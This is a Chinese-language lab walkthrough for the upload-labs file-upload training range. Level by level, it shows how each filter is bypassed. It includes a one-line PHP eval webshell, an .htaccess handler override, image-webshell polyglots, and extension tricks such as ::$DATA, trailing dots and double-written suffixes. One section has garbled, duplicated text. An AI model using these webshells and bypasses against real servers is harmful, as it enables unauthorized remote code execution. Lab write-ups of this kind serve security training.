upload-labs文件上传_文件上传漏洞_靶场
文章目录
- upload-labs文件上传靶场
- pass-01(绕过后缀名校验)
- 第1个方案:前端校验的关闭前端js运行
- 第2个方案:使用bp抓包修改后缀
- Pass-02(绕过文件类型校验)
- 第1种修改报文文件类型绕过
- 第2种使用图片码绕过
- Pass-03(绕过黑名单::$DATA绕过)
- 通关思路
- Pass-04(Apache配置文件绕过黑名单)
- 5、Pass-05(绕过黑名单,使用windows特性特殊写法)
- Pass-06(后缀混合大小写绕过)
- Pass-07(空格绕过黑名单)
- Pass-08(后缀加点绕过黑名单)
- Pass-09(后缀加::$DATA绕过)
- Pass-10(重复加点绕过黑名单)
- Pass-11(双写绕过黑名单)
- Pass-12(图片码也叫文件包含绕过白名单)
- Pass-13(图片马绕过白名单)
- Pass-14(图片码绕过)
- pass-15(图片码绕过白名单)
- pass-16(省略绕过白名单)
- pass-17(文件包含绕过白名单漏洞)
- pass-18(条件竞争)
- pass-19(条件竞争+文件包含漏洞)
- pass-20(增加\点后缀绕过黑名单)
- Pass-21(文件名数组绕过)
- 总结
upload-labs文件上传靶场
文件上传就是利用服务器对上传文件时存在的漏洞来实现上传任意文件,通过自己编写的文件内容让服务器执行文件内容达到可控的目的。项目地址:https://github.com/c0ny1/upload-labs
pass-01(绕过后缀名校验)
尝试把webshell传入到服务器,发现服务器对文件后缀名进行过滤。
源码分析
对文件上传类型后缀做做了校验,采用前端js过滤,可以直接采用firefox浏览器关闭js绕过js过滤,安装Javascript Switcher插件,关闭前端js运行
<script type="text/javascript">function checkFile() {var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("请选择要上传的文件!");return false;}//定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif";//提取上传文件的类型var ext_name = file.substring(file.lastIndexOf("."));//判断上传文件类型是否允许上传if (allow_ext.indexOf(ext_name) == -1) {var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;alert(errMsg);return false;}}
</script>
第1个方案:前端校验的关闭前端js运行
火狐浏览器安装Javascript Switcher插件
尝试不使用插件,看上传php失败效果,有弹窗提示
继续上传php文件,使用插件Javascript Switcher。
点击下Javascript Switcher,出现灰色是关闭js状态。
upload文件下,查看已经上传成功。
第2个方案:使用bp抓包修改后缀
将需要上传的php文件, 通过重命名修改后缀为png,点击浏览选择这张png,点击上传
上传在绕过js的验证后,通过bp抓报文,修改png的后缀为php
只改文件的后缀,将png修改php
Content-Disposition: form-data; name="upload_file"; filename="index - we.php"
Content-Type: image/png测试了下常规传php文件,是这个类型
Content-Type: multipart/form-data; filename="index - we.php"
Content-Type: application/octet-stream
查看上传的目录文件,已存在,发现之前上传的png后缀文件名,经过bp的修改已成功将后缀改为php后缀,并成功上传,并可以正常打开
Pass-02(绕过文件类型校验)
上传文件类行为jpeg或者png格式的文件才可以上传,同样上传图片码抓包修改后缀即可,比Pass-01多了个对MIME的检测,但对于上传图片码来说就没啥区别
源码分析
后端对后缀文件类型校验
尝试上传php文件,得到失败提示
第1种修改报文文件类型绕过
查看源码只是对文件类型做了校验,上传php文件通过bp抓包,修改上传的类型,成功绕过
Content-Type: image/png
第2种使用图片码绕过
bp报文直接修改文件的后缀名,然后send转发
成功绕过,文件类型的校验,上传成功的文件名为helper - ceshi.php
Pass-03(绕过黑名单::$DATA绕过)
提示不允许上传.asp,.aspx,.php,.jsp后缀文件!这应该是黑名单校验
源码分析
什么是::$DATA
在windows操作系统中,当你看到文件名后面跟着 ::$DATA 时,它表示一个文件的附加数据流,数据流是一种在文件内部存储额外数据的机制。
在文件上传漏洞中,::$DATA可以简单理解为 一个通行证,可以冲破黑名单的防线。
通关思路
源代码中对字符串中的 :: D A T A 进行了删除,那么我们可以用反删除的知识来破解它,比如双写 : : DATA 进行了删除,那么我们可以用反删除的知识来破解它,比如双写 :: DATA进行了删除,那么我们可以用反删除的知识来破解它,比如双写::D::$DATAATA。
1、上传test.php,利用 Burpsuite 进行抓包,添加并双写 ::$DATA。
f i l e e x t = s t r i r e p l a c e ( ′ : : file_ext = str_ireplace(':: fileext=strireplace(′::DATA’, ‘’, f i l e e x t ) ; 这个函数处理后获取的新后缀为 . p h p : : file_ext);这个函数处理后获取的新后缀为.php:: fileext);这个函数处理后获取的新后缀为.php::data
最终拼接的文件路径
成功绕过
绕过但是对上传后的文件进行了重命名,需要搞清楚,上传服务的那个文件然后进行访问,获取重名后的文件名
Pass-04(Apache配置文件绕过黑名单)
04关应该考的是 Apache服务器的.htaccess
文件配置,这个文件是Apache
服务器用来进行伪静态
的配置文件吧,看下面的代码可以看出,.htaccess
文件是没有被禁止上传的,可以先把这个文件上传到服务器上
源码分析
通过代码分析基本把常规的脚本文件格式都禁止上传了,但是可以大小写混写绕过
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
还需要准备一个.htaccess
下面的"脚本"是你上传文件的名称
<FilesMatch "ceshi">
SetHandler application/x-httpd-php
#就是让所有的文件都当作php文件解析
</FilesMatch>
需要上传的php脚本,上传一个图片码做测试使用
<?phpheader("content-type:text/html;charset=utf-8");date_default_timezone_set("PRC");//设置时区echo "当前时间为:";$today = date("Y-m-d D h:i:s A ");echo $today;?>
新建图片码
.htaccess
文件上传成功后再上传一个符合格式的脚本文件,把准备好的PHP扩展名改成图片格式进行上传,上传成功后,访问图片码,剩下的不作描述
5、Pass-05(绕过黑名单,使用windows特性特殊写法)
这关已将.htaccess过滤掉,基本常用的脚本都已禁上传
源码分析
先看一下利用Windows特性绕过
1.大小写绕过:针对对大小写不敏感的系统如 windows 例如test.PhP
2.以下为不符合规则的Windows文件
均会被windows系统自动去掉不符合规则符号后面的内容
ADS是nfts磁盘格式的一个特性,由于NTFS交换数据流,在上传文件时,如果系统对请求正文的filename匹配不当的话
可能会导致绕过
利用windows系统自动去掉不符合规则符号,BP抓取报文,修改test.pHP为test.pHP:a.jpg,成功绕过
或者使用.空格.进行绕过,windows会自动将点抹掉
上传后的文件,直接变成php结尾的文件
Pass-06(后缀混合大小写绕过)
对比前面的源码少大小写检验,直接上传后缀混合大小写进行上传
源码分析
混合大小写后缀绕过
上传后的文件
Pass-07(空格绕过黑名单)
观察源码发现在处理尾缀的时候少过滤了空格,进行抓包修改文件尾缀加一个空格,在最后与黑名单比对时就不会匹配上从而实现绕过
源码分析
抓包,对文件添加文件后缀空格,绕过并上传
上传成功后的文件
Pass-08(后缀加点绕过黑名单)
与07关差不多,只是少了过滤最后的一点
源码分析
抓包上传php后缀的文件,使用bp抓包修改为php. ,send转发成功
上传后文件,windows自动剔除了点后缀
Pass-09(后缀加::$DATA绕过)
这关少了对特殊字符::$DATA的过滤,真是吐槽下从第六关开始,都是少点校验
源码分析
上传php文件,使用bp抓包,后缀上加::$DATA的后缀,上传成功
上传成功后文件
Pass-10(重复加点绕过黑名单)
后端校验的 PHP 代码,定义了文件后缀名黑名单,黑名单里几乎包含了所有可解析的后缀名、.htaccess以及.ini,与此同时脚本还会对上传文件名进行过滤,包括首尾去空、删除文件名末尾的点、将字符转换为小写、去除字符串::$DATA等。但由于只对点进行了单次过滤,因此如果我们上传php. 空格.;最终会过滤为php.,这样就绕过上传。
源码分析
上传php文件,使用bp抓包修改php. 空格.
上传后文件名称变为test.php
Pass-11(双写绕过黑名单)
后端校验定义了文件后缀名黑名单,黑名单里几乎包含了所有可解析的后缀名、.htaccess以及.ini,当上传文件的后缀名与黑名单匹配时,str_ireplace调用替换为空;由于只过滤单次后缀名,可以双写后缀名绕过限制。
源码分析
双写后缀名进行绕过
上传后文件
Pass-12(图片码也叫文件包含绕过白名单)
后端定义了文件后缀名白名单校验,白名单中包含了jpg、png、gif,直接使用图片码(new.png)要让图片马能够执行配合其他漏洞,比如文件包含,apache解析漏洞等。
源码分析
图片码原理
图片马通过在图片文件的末尾或中间插入恶意代码(如PHP脚本),并利用服务器端漏洞(如文件包含漏洞)使服务器将图片文件当作代码执行。这种攻击方式依赖于服务器端语言的解释执行特性,Java通常不会直接解释执行图片文件中的代码。
制作图片马
copy 命令将 t.jpg 和 test.php 合并成一个名为 new.jpg 的文件
copy t.png + test.php new.png<?php @eval($_POST['a']); ?> --> test.php文件内容
直接bp抓包查看内容,已上传成功
上传后的图片,已重命名
Pass-13(图片马绕过白名单)
与12关一样,采用图片马绕过
源码分析
Pass-14(图片码绕过)
与12关一样,上传图片码进行绕过白名单
源码分析
pass-15(图片码绕过白名单)
getimagesize含义为获取图片大小(像素信息),若是php文件重命名为图片文件,是没有像素、尺寸等信息的,
继续使用图片码来绕过。
源码分析
pass-16(省略绕过白名单)
16关跟12、13、14、15关的方法一直,制作图片马上传配合文件包含漏洞。
pass-17(文件包含绕过白名单漏洞)
推荐使用gif文件,经测试jpg和png文件会经常被由头渲到尾,不好用。步骤与上关一样,上传图片码。
对于GIF制作screentogif这个工具进行下载使用:https://www.screentogif.com/downloads
copy weigif.gif + test.php newgit.gif
源码分析
if (isset($_POST['submit'])){// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];$target_path=UPLOAD_PATH.'/'.basename($filename);// 获得上传文件的扩展名$fileext= substr(strrchr($filename,"."),1);//判断文件后缀与类型,合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);if($im == false){$msg = "该文件不是jpg格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".jpg";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefrompng($target_path);if($im == false){$msg = "该文件不是png格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".png";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagepng($im,$img_path);@unlink($target_path);$is_upload = true; }} else {$msg = "上传出错!";}}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else{$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";}
}
?>
pass-18(条件竞争)
未成功,感兴趣的可以参考其他文章第Pass-17,这关作者17标题就是18关。
源码分析
pass-19(条件竞争+文件包含漏洞)
未成功,感兴趣的可以参考其他文章第Pass-18,这关作者18标题就是19关。
pass-20(增加\点后缀绕过黑名单)
move_uploaded_file()
函数,它有一个特性,会忽略
到文件末尾的/.
及后面的内容
并且 move_uploaded_file() 函数中的 img_path 是由post参数 save_name 控制的,这就可以在 save_name 的参数上面改动。
源码分析
经看源码upload_file(选择文件)输入框未进行黑名单的校验,只是对save_name(保存名称)进行黑名单的校验,思路与前面的1-4关差不多
上传php文件,在save_name的文件后缀增加.空格. 进行绕过
或者追加/.进行绕过
上传成功后的文件
Pass-21(文件名数组绕过)
对上传的文件进行文件后缀以及类型的检查,对保存名称输入框文件后缀进行黑名单的校验
1.白名单后缀及文件类型type
2.黑名单检查后缀
源码分析
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$is_upload = false;$msg = null;if(!empty($_FILES['upload_file'])){//mime check$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//check filename$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}}else{$msg = "请选择要上传的文件!";}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
使用bp抓包修改下面几处,成功绕过
给源码增加的var_dump注释,可以看出file数组的结构很有意思,下标1是空的,而下标2是被篡改后的文件后缀;而且数组长度仍然为2,最后reset时就把jpg给扔掉了,成功保存为php文件。
array(2) {
[0]=>
string(13) "upload-21.php"
[2]=>
string(3)"jpg"
}
上传成功后文件
总结
通过完成,防御对于白名单的绕过对PHP使用图片码,这是php语言特性;但是如果java语言基本不可能绕过,因java不能执行图片码的文件;
对于黑名单的绕过:
在windows部署的基于win的特性会将点空点后缀会自动的吃掉,自动去除冗余点可以轻松绕过黑名单的防御;
在linux系统中应该是不性的,可以试试%00 或者%20试试,以上通关,有不对的请各位大佬给予留言
特性 | Windows | Linux |
---|---|---|
末尾冗余点处理 | 自动去除(如file.. → file ) | 严格保留(如file.. 保持不变) |
设计目的 | 防止文件名欺骗(如绕过安全检测) | 尊重用户输入,不干预文件名 |
用户可见性 | 用户无法创建末尾带冗余点的文件 | 用户可自由创建,但需注意工具兼容性 |